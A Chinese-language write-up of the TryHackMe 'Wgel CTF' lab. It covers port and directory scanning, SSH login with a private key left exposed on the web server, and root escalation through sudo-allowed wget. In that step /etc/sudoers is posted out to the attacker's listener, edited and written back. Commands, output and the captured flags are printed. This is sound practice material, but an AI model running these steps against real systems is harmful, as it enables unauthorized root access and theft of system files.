【Tryhackme】Wgel CTF(敏感信息泄露，滥用sudo提权：wget)
服务发现
┌──(root?kali)-[~] └─# nmap -sV -Pn 10.10.106.99 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-25 23:41 EDT Nmap scan report for 10.10.106.99 Host is up (0.38s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds目录爆破
┌──(root?kali)-[~/dirsearch] └─# python3 dirsearch.py -u http://10.10.106.99 -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-lowercase-2.3-medium.txt _|. _ _ _ _ _ _|_ v0.3.8 (_||| _) (/_(_|| (_| ) Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 207627 Error Log: /root/dirsearch/logs/errors-21-09-25_23-42-55.log Target: http://10.10.106.99 [23:42:56] Starting: [23:42:58] 301 - 314B - /sitemap -> http://10.10.106.99/sitemap/ [23:42:58] 200 - 11KB - / CTRL+C detected: Pausing threads, please wait... Canceled by the usersitemap是一个叫UNAPP的软件网站介绍页，继续对这个这个网站爆破目录
┌──(root?kali)-[~/dirsearch] └─# python3 dirsearch.py -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -u http://10.10.106.99/sitemap/ _|. _ _ _ _ _ _|_ v0.3.8 (_||| _) (/_(_|| (_| ) Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 220521 Error Log: /root/dirsearch/logs/errors-21-09-26_02-39-06.log Target: http://10.10.106.99/sitemap/ [02:39:07] Starting: [02:39:09] 200 - 21KB - /sitemap/ [02:39:09] 301 - 319B - /sitemap/images -> http://10.10.106.99/sitemap/images/ [02:39:11] 301 - 316B - /sitemap/css -> http://10.10.106.99/sitemap/css/ [02:39:12] 301 - 315B - /sitemap/js -> http://10.10.106.99/sitemap/js/ [02:39:19] 301 - 318B - /sitemap/fonts -> http://10.10.106.99/sitemap/fonts/ [02:44:16] 301 - 317B - /sitemap/sass -> http://10.10.106.99/sitemap/sass/ 在about页面找到两个开发者的名字
Emily Turner Adam Morris做成一个可能的用户账号爆破ssh，用一个小字典，无果
emily turner emilyturner adam morris adammorris在http://10.10.106.99/首页源代码找到一行注释
Jessie don't forget to udate the webiste
确定一个用户名：jessie
在http://10.10.106.99/sitemap/.ssh/找到ssh登录秘钥
Index of /sitemap/.ssh [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [ ] id_rsa 2019-10-26 09:24 1.6K Apache/2.4.18 (Ubuntu) Server at 10.10.106.99 Port 80 根据用户名和ssh登录秘钥，登录靶机，拿到user.txt
┌──(root?kali)-[~/tryhackme/wgel] └─# ssh -i id_rsa jessie@10.10.106.99 Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 8 packages can be updated. 8 updates are security updates. Last login: Sun Sep 26 11:59:45 2021 from 10.13.21.169 jessie@CorpOne:~$ find / -name user_flag.txt find: ‘/var/cache/lightdm/dmrc’: Permission denied find: ‘/var/cache/cups’: Permission denied find: ‘/var/log/speech-dispatcher’: Permission denied find: ‘/var/lib/apt/lists/partial’: Permission denied find: ‘/var/lib/colord/.cache’: Permission denied find: ‘/var/lib/snapd/void’: Permission denied find: ‘/var/lib/snapd/cookie’: Permission denied find: ‘/var/lib/udisks2’: Permission denied find: ‘/var/lib/update-notifier/package-data-downloads/partial’: Permission denied find: ‘/var/lib/lightdm-data/lightdm’: Permission denied find: ‘/var/lib/lightdm’: Permission denied find: ‘/var/lib/polkit-1’: Permission denied /home/jessie/Documents/user_flag.txt jessie@CorpOne:~$ cat /home/jessie/Documents/user_flag.txt 057c67131c3d5e42dd5cd3075b198ff6 查看sudo权限
jessie@CorpOne:~$ sudo -l Matching Defaults entries for jessie on CorpOne: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User jessie may run the following commands on CorpOne: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/wget 提权思路
通过wget我们事实上可以更换靶机上的任何文件，那么我们现在尝试替换/etc/sudoers文件，把jessie ALL=(root) NOPASSWD: /bin/bash这一行添加到sudoers文件中，然后再覆盖掉靶机上的sudoers文件
这样我们就可以无需密码切换到root的bash
1，监听nc -lvnp 80
2，发送sudo -u root /usr/bin/wget --post-file=/etc/sudoers 10.13.21.169
3,接收
编辑sudoers
# # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d jessie ALL=(root) NOPASSWD: /usr/bin/wget jessie ALL=(root) NOPASSWD: /bin/bash从靶机下载覆盖编辑好的sudoers文件，成功提权
jessie@CorpOne:~$ sudo /usr/bin/wget http://10.13.21.169:8000/sudoers -O /etc/sudoers --2021-09-26 12:45:55-- http://10.13.21.169:8000/sudoers Connecting to 10.13.21.169:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 863 [application/octet-stream] Saving to: ‘/etc/sudoers’ /etc/sudoers 100%[========================================================================================================================================>] 863 --.-KB/s in 0,001s 2021-09-26 12:45:55 (1,54 MB/s) - ‘/etc/sudoers’ saved [863/863] jessie@CorpOne:~$ sudo -l Matching Defaults entries for jessie on CorpOne: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User jessie may run the following commands on CorpOne: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/wget (root) NOPASSWD: /bin/bash jessie@CorpOne:~$ sudo bash root@CorpOne:~# cat /root/root_flag.txt b1b968b37519ad1daa6408188649263d root@CorpOne:~# [温馨提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。]
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